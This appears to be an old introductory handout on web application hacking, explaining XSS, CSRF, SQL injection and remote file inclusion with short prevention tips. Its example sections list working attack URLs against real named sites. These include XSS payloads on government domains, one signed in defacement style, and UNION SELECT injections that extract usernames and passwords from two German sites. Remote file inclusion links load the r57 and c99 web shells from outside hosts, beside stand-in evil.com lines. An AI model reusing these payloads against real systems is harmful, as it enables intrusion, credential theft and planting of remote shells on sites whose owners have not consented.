WEB APPLICATION HACKING

31/05/2011 18:07

What is Web application vulnerability?
"No language can prevent insecure code, although there are language features which
could aid or hinder a security-conscious developer."
-Chris Shiflett
Web application vulnerability is a weakness on web based service.

Evolution of Web Hacking
 Automated web vulnerability checking
 Input validation attacks
Buffer overflows
 Source code disclosure
 Session Hijacking
Lame attacks (the client side XS? attacks)
Types of Web application vulnerability?
1. XSS (Cross Site Scripting)
2. SQL Injection
3. RFI
4. etc
1.) XSS
XSS is a type of computer security vulnerability typically found in web applications
which allow code injection by malicious web users into the web pages viewed by
other users.
Websites today are more complex than ever, containing a lot of dynamic content
making the experience for the user more enjoyable. Dynamic content is achieved
through the use of web applications which can deliver different output to a user
depending on their settings and needs. Dynamic websites suffer from a threat that
static websites don't, called "Cross Site Scripting" (or XSS dubbed by other security
professionals). Currently small informational tidbits about Cross Site Scripting holes
exist but none really explain them to an average person or administrator. This FAQ
was written to provide a better understanding of this emerging threat, and to give
guidance on detection and prevention.
Cross Site Scripting is a technique used to add script to a trusted site that will be executed
on other users browsers. A key element to XSS is that one user can submit data to a
website that will later be displayed for other users. It is nessesary that the bad guy NOT
mess up the HTML structure, otherwise the result will be web defacement rather then
attacking other users.
"What are the threats of Cross Site Scripting?"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a
vulnerable application to fool a user (Read below for further details) in order to gather
data from them. Everything from account hijacking, changing of user settings, cookie
theft/poisoning, or false advertising is possible. New malicious uses are being found
every day for XSS attacks. The post below by Brett Moore brings up a good point
with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user
simply reads a post on a message board.
Cross-Site Request Forgery, also known as one click attack or session riding and
abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites.
Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site
request forgery merely transmits unauthorized commands from a user the website trusts.
GMail is vulnerable to CSRF attacks in the “Change Password” functionality. The only
token for authenticate the user is a session cookie, and this cookie is sent automatically
by the browser in every request.
An attacker can create a page that includes requests to the “Change password”
functionality of GMail and modify the passwords of the users who, being authenticated,
visit the page of the attacker.
Solutions
• Disable all scripting language support in your browser
• Be cautious when clicking links in anonymous e-mails and dubious web pages.
• Proxy servers can help filter out malicious scripting in HTML.

http://www.fbi.gov/cgibin/
outside.cgi?http://www.google.com/</script><script/defer>document.body.innerHT
ML='xssed'+unescape('%20')+'by'+unescape('%20')+'manish'</script>
http://www.fpsc.gov.pk/gr/test.php?a[]=%3Cscript%3Ealert(/Manish%20Was%20Here/);
%3C/script%3E

2.) SQL Injection
SQL injection is a type of security exploit in which the attacker injects Structured Query
Language (SQL) code through a web form input box, to gain access to resources, or make
changes to data.
• It is a technique of injecting SQL commands to exploit non-validated input
vulnerabilities in a web application database.
Categories of SQL injection attack
SQL Manipulation
• Code Injection
• Function Call Injection
• Buffer Overflows
Preventing SQL Injection
• To protect against SQL injection, user input must not directly be embedded in
SQL statements. Instead, parameterized statements must be used (preferred), or
user input must be carefully escaped or filtered.
Examples
• http://www.cara-finanz.de/cf/site.php?siteid=100&id=-
4+union+select+1,2,concat(username,0x3a,passwd),4,5,6,7+from+usr_web13_1.core_users
• http://www.lumberjacks-eishockey.de/cms/site.php?siteid=160&id=-
7+union+select+1,2,3,concat(username,0x3a,passwd),5,6,7+from+usr_web23_1.core_users

Remote file inclusion

• Remote File Inclusion attacks allow malicious users to run their own PHP
code on a vulnerable website. The attacker is allowed to include his own
(malicious) code in the space provided for PHP programs on a web page. For
instance, a piece of vulnerable PHP code would look like this:
Examples:

www.victimsite.com/index.php?ROOT_PATH=http://www.freewebs.com/r57.txt
www.victimsite.com/index.php?getit=http://hacksite.com/shell.txt
One thing we need remember
www.site.com/run.php?file=www.evil.com/evil.php //will execute the php on EVIL site
www.site.com/run.php?file=www.evil.com/evil.txt //will execute the php on VICTIM's
site site
http://www.23net.tv//modules/xfsection/modify.php?dir_module=http://n4pst3rh.iespana.
es/Shell/r57.txt???? 2005
http://paulyorke.com/index.php?p=http://shellbox.com.ar/[c]/c99shell.txt? 2005